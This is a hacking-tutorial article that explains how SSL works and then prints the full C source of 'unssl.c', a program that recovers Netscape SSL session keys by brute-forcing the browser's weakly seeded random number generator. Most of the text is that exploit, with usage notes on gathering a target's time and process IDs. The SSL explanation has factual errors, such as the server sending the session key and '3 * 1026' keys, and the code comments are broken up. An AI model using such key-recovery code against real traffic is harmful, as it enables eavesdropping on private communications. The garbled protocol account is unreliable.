SSL Torn Apart By Ankit Fadia ankit@bol.net.in

Secure Sockets Layer or SSL is a secure protocol, which is the reason why secure E-Commerce and E-Banking is possible. It has become the de facto standard for secure and safe only transactions. When Netscape first developed SSL, the main aim or motive behind it was to ensure that the client and host can communicate or transfer data and information securely.

What SSL does in short would be, encrypt data at the sender's end and decrypt data at the receiver's end. This encrypted data cannot be picked up or hijacked in between and any tampering would not only be very difficult, it would easily be detected. Not only that, SSL also provides for two-way authentication i.e. verification of the client's and the server's identity.

The various functions or features of SSL can be divided into three main categories-:

1.) SSL Encrypted Connection-: Provides for secure and safe transaction of encrypted data between the client and the host.

2.) SSL Client Authentication: is an optional feature, which allows for verification of the client's identity.

3.) SSL server Authentication: provides for verification of the server's Certificate Authority (CA) which is nothing but a trusted safe host certificate given to the server by companies like Verisign, Cybertrust, Thawte and more.

The main SSL protocol is made up of two smaller sub-protocols-:

1.) The Secure Sockets Layer Record Protocol or The SSL Record Protocol.

2.) The Secure Sockets Layer Handshake Protocol or The SSL Handshake Protocol.

The SSL Record Protocol looks after the transmission and the transmission format of the encrypted data. Also it is this sub-protocol of SSL, which ensures data integrity in the transfer process. On the other hand the SSL Handshake protocol basically helps to determine the session key. To understand both these protocols better, read on.

****

Hacking truth: A session key is a secret symmetrical key, which is used to encrypt data, after a SSL connection has been established between the client and the host.

****

Secure Sockets Layer: The Working

Now as soon as you enter a secure site, SSL comes into play. But how do you know whether the connection is secure or not? Well, there are several things, which reveal the fact that whether your connection is unsafe or safe.

The most common way to check whether your connection is secure or not is to look at the status bar of your browser. If you see a closed padlock, then the connection is secure, else if you see a open padlock, then the connection is not secure. Another area to watch out for is the browser URL box. Now on an unsecured connection you will see only a http:// before the other part of the URL of the site you are visiting. On the other hand, if the connection is secure then you will see a https:// instead.

Another technique to ensure that you are on a secure connection is to have a look at the Certificate Authority or CA or the server. How do I do that? Well, simply right click on the page that you suspect to be on a unsecured connection, and select Properties. A properties box pops up. Now look for the Connection field. A typical Connection field would be as follows-:

SSL 3.0, DES with 40 bit Encryption [Low]; RSA with 128 bit exchange.

This means that SSL 3.0 is running, DES is the crypto system being used and it has 40-bit encryption level. And RSA is the public key encryption algorithm being used and in this case it used 128 bits.

Anyway, let me start from what happens, once you are already on a secure connection. Now as soon as the browser knows that a secure connection is present, The SSL Handshake Protocol jumps into action. It sends the browser's SSL version number, Encryption settings and other crypto information to the remote host. Once the remote server receives this, it in turn sends back to the client, its SSL number and cipher settings.

Also, if the server wants to, then this is the time when it verifies the client's certificate. [This is done only if

an optional SSL feature, The SSL Client Authentication feature is present.]

NOTE: Client Authentication can also be done at a later stage. It basically varies from Server to server, as to when this authentication is done, or whether it is done at all.

Then, the client verifies the server's Certificate Authority. This is done to ensure that the public key received by the client is that of the correct authentic server. If the server does not have a CA certificate or if the certificate has expired, then a dialog box pops up informing the user. [Warning the user]

Once the server's identity has been authenticated, then the client creates a 'Premaster Secret' which is unique for each new SSL session. This 'Premaster Secret' is then encrypted using the server's Public Key and this encrypted Premaster secret is then sent to the server. The important thing to note here is that the Server's Public Key is extracted from the server's Digital Certificate, which is nothing but a digitally signed certificate containing the owner's public key.

Now, when the server receives the encrypted premaster secret, it verifies the client's identity. [This is optional and varies from server to server] Anyway, Once the client's identity has been authenticated, the server uses its private key to decrypt the premaster secret, to obtain the master secret. This master secret is used to determine the session key.

Note: The transfer of the premaster and master is also done for compatibility reasons.

Now, everything till now is handled by The SSL Handshake Protocol. Once all this is done, The SSL Record Protocol comes into the picture. Now, once the server has determined, the symmetrical session key, it sends it to the client and further communication is done using this session key. As the key is symmetrical, it can be used for both decrypting and encrypting purposes. The SSL Record Protocol handles all data transfer

A typical SSL transaction involves various encryption algorithms like RSA and DSS. Other popular ones are DES and RC4. Data integrity is ensured by using ciphers like MD5, SHA etc, which are called Message Authentication Codes or MAC. A MAC is nothing but a checksum authentication thingy which converts the data into digits. The checksum value at the receiver's end is compared to that at the sender's end. If any tampering If any tampering is done or in other words, if the checksums do not match, then that particular session is considered void and the entire above process if repeated i.e. data is transmitted again.

However, SSL is not as secure as it seems to be. The problem lies in the fact that the encryption algorithms used along with SLL are quite lame and can easily be cracked. All versions below 3.0 have been cracked, however SSL 3.0 with 128 bits would take a very very long time to crack, if it could be cracked. So it is quite same to a certain extend.

So how do you ensure that your SSL transaction is secure? Well, the best thing to do is to use 128-Bit encryption instead of 40-Bit. The former has 3 * 1026 more keys than the latter. Also install the latest version of your browsers, to ensure that you have the latest encryption standards and security patches.

NOTE: 168-Bit encryption is present too, however, encryption levels over 40 bits are not allowed outside the US.

The following C program demonstrates how to break the Netscape SSL implementation:

```
/* unssl.c - Last update: 950917

  Break netscape's shoddy implementation of SSL on some platforms

  (tested for netscape running RC4-40 on Solaris and HP-UX; other

   Unices are probably similar; other crypt methods are unknown, but

   it is likely that RC4-128 will have the same problems).

  The idea is this: netscape seeds the random number generator it uses

  to produce challenge-data and master keys with a combination of the

  time in seconds and microseconds, the pid and the ppid.  Of these,

  only the microseconds is hard to determine by someone who

  (a) can watch your packets on the network and

  (b) has access to any account on the system running netscape.

  Even if (b) is not satisfied, the time can often be obtained from

  the time or daytime network daemons; an approximation to the pid can

  sometimes be obtained from a mail daemon (the pid is part of most

  Message-ID's); the ppid will usually be not much smaller than the pid,
```

and has an higher than average chance of being 1. Clever guessing of these values will in all likelihood cut the expected search space down to less than brute-forcing a 40-bit key, and certainly is less than brute-forcing a 128-bit key.

Subsequent https: connections after the first (even to different hosts) seem to _not_ reseed the RNG. This makes things much easier, once you've broken the first message. Just keep generating 16 bytes of random numbers until you get the challenge-data for the next message. The next key will then be the 16 random bytes after that.

main() and bits of MD5Transform1 by Ian Goldberg <iang@cs.berkeley.edu> and David Wagner <daw@cs.berkeley.edu>. The rest is taken from the standard MD5 code; see below.

This code seems to want to run on a big-endian machine. There may be other problems as well. This code is provided as-is; if it causes you to lose your data, sleep, civil liberties, or SO, that's your problem.

#include <std/disclaimer.h>

On the command line, give the time in seconds, the pid, the ppid and the SSL challenge data (each byte in hex, separated by some non-hex

```
   character like a colon) of the _first_ SSL message generated by
   the instance of netscape.  This program will search through the
   microsecond values.  You may need to run it again with a slightly
   different value for the seconds, depending on how accurately you know
   the time on the system running netscape.  The output will be the
   master key (all 16 bytes; note you never even told the program the
   11 bytes you knew) and the value for the microseconds that produced it.

   As a benchmark, this code runs in just under 25 seconds real time
   (for an unsuccessful search through 1<<20 values for the microseconds)
   on an unloaded HP 712/80.
*/

#include <stdio.h>
#include <stdlib.h>

/*
   I suppose parts of MD5Transform1  fall under:

   portions derived from RSA Data Security, Inc., MD5 message-digest algorithm

   Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
   rights reserved.
   License to copy and use this software is granted provided that it
   is identified as the "RSA Data Security, Inc. MD5 Message-Digest
   Algorithm" in all material mentioning or referencing this software
   or this function.

   License is also granted to make and use derivative works provided
   that such works are identified as "derived from the RSA Data
   Security, Inc. MD5 Message-Digest Algorithm" in all material
   mentioning or referencing the derived work.

   RSA Data Security, Inc. makes no representations concerning either
   the merchantability of this software or the suitability of this
   software for any particular purpose. It is provided "as is"
   without express or implied warranty of any kind.

   These notices must be retained in any copies of any part of this
   documentation and/or software.
 */

typedef unsigned int UINT4;

/* Constants for MD5Transform routine.
```

```
 */

#define S11 7

#define S12 12

#define S13 17

#define S14 22

#define S21 5

#define S22 9

#define S23 14

#define S24 20

#define S31 4

#define S32 11

#define S33 16

#define S34 23

#define S41 6

#define S42 10

#define S43 15

#define S44 21


/* F, G, H and I are basic MD5 functions.

 */

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))

#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))

#define H(x, y, z) ((x) ^ (y) ^ (z))
```

```
#define I(x, y, z) ((y) ^ ((x) | (~z)))


/* ROTATE_LEFT rotates x left n bits.
 */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))


/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
   Rotation is separate from addition to prevent recomputation.
 */
#define FF(a, b, c, d, x, s, ac) { \
    (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
  }
#define GG(a, b, c, d, x, s, ac) { \
    (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
  }
#define HH(a, b, c, d, x, s, ac) { \
    (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
  }
#define II(a, b, c, d, x, s, ac) { \
    (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
    (a) = ROTATE_LEFT ((a), (s)); \
    (a) += (b); \
  }

void MD5Transform1(unsigned char state[16], unsigned char block[64])
{
  UINT4 a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476, x[16];
  unsigned int i,j;

  for (i = 0, j = 0; j < 64; i++, j += 4)
    x[i] = ((UINT4)block[j]) | (((UINT4)block[j+1]) << 8) |
      (((UINT4)block[j+2]) << 16) | (((UINT4)block[j+3]) << 24);

  /* Round 1 */
  FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */

  FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */

  FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */

  FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */

  FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */

  FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */

  FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */

  FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */

  FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */

  FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */


  /* Round 2 */

  GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */

  GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */

  GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */

  GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */

  GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */

  GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */

  GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */

  GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */

  GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */

  GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */

  GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
  GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */

  GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */

  GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */

  GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */

  GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */


  /* Round 3 */

  HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */

  HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */

  HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */

  HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */

  HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */

  HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */

  HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */

  HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */

  HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */

  HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */

  HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */

  HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */

  HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */

  HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */

  HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */

  HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
```

```
/* Round 4 */

II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */

II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */

II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */

II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */

II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */

II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */

II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */

II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */

II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */

II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */

II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */

II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */

II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */

II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */

II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */

II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */


a += 0x67452301;

b += 0xefcdab89;

c += 0x98badcfe;

d += 0x10325476;
```

```
  /* We need to swap endianness here */

  state[0] = ((unsigned char *)&a)[3];

  state[1] = ((unsigned char *)&a)[2];

  state[2] = ((unsigned char *)&a)[1];

  state[3] = ((unsigned char *)&a)[0];

  state[4] = ((unsigned char *)&b)[3];

  state[5] = ((unsigned char *)&b)[2];

  state[6] = ((unsigned char *)&b)[1];

  state[7] = ((unsigned char *)&b)[0];

  state[8] = ((unsigned char *)&c)[3];

  state[9] = ((unsigned char *)&c)[2];

  state[10] = ((unsigned char *)&c)[1];

  state[11] = ((unsigned char *)&c)[0];

  state[12] = ((unsigned char *)&d)[3];

  state[13] = ((unsigned char *)&d)[2];

  state[14] = ((unsigned char *)&d)[1];

  state[15] = ((unsigned char *)&d)[0];


}


#define mklcpr(val)    ((0xdeece66d*(val)+0x2bbb62dc)>>1)
```

```
int main(int argc, char **argv)

{

    int       i;

    unsigned char   maybe_challenge[16], true_challenge[16];

    unsigned char   key[16];

    char    *p;

    unsigned long  sec, usec, pid, ppid;

    unsigned char   eblock[64], cblock[64];

    unsigned char   *o1;

    int       o2;


    if (argc == 5 && strlen(argv[4]) >= 47) {

                sec = strtol(argv[1], (char **) 0, 0);

                pid = strtol(argv[2], (char **) 0, 0);

                ppid = strtol(argv[3], (char **) 0, 0);

                p = argv[4];

                for (i=0; i<16; i++) {

                    true_challenge[i] = strtol(p, &p, 16);

                    p++;

                }

    }

    else

    {
```

```
		printf("Usage: %s sec pid ppid "
		   "00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff\n", argv[0]);
		exit(1);
	}

	/* Set up eblock and cblock */
	for(i=0;i<64;++i) eblock[i]=0;
	eblock[8] = 0x80;
	eblock[56] = 0x40;

	for(i=0;i<64;++i) cblock[i]=0;
	cblock[16] = 0x80;
	cblock[56] = 0x80;

	((int *)eblock)[1] = mklcpr(pid+sec+(ppid<<12));
	for (usec=0; usec < (1<<20); usec++) {
		((int *)eblock)[0] = mklcpr(usec);

		MD5Transform1(cblock, eblock);

		o2 = 0;
		o1 = &(cblock[0x0f]);
		do {
    if ((*o1)++) break;
    --o1;
} while (++o2 <= 0x0f);

o2 = 0;
o1 = &(cblock[0x0f]);
do {
    if ((*o1)++) break;
    --o1;
} while (++o2 <= 0x0f);

MD5Transform1(maybe_challenge, cblock);

if (memcmp(maybe_challenge, true_challenge, 0x10) == 0) {
    printf("Found it!  The key is ");

    o2 = 0;
    o1 = &(cblock[0x0f]);
    do {
                if ((*o1)++) break;
                --o1;
    } while (++o2 <= 0x0f);
```

```
                MD5Transform1(key, cblock);


                for (i=0; i<0x10; i++)
                        printf("%2.2X ", (unsigned char) key[i]);
                printf("\n");
                printf("usec = %lu\n", usec);
                exit(0);
            }
    }
    printf("Not found.\n");
    exit(1);
}
```

Well that's it for now, more tricks later, till then goodbye.

Ankit Fadia

Ankit@bol.net.in

http://www.ankitfadia.com

Wanna ask a question? Got a comment to make? Criticize, Comment and more…..by sending me an Instant Message on MSN Messenger. The ID that I use is: ankit_fadia@hotmail.com

Wanna learn Hacking? Wanna attend monthly lectures and discussions on various Networking/Hacking topics? Lectures, Debates and Discussions, get it all by simply joining The Hacking Truths club by clicking Here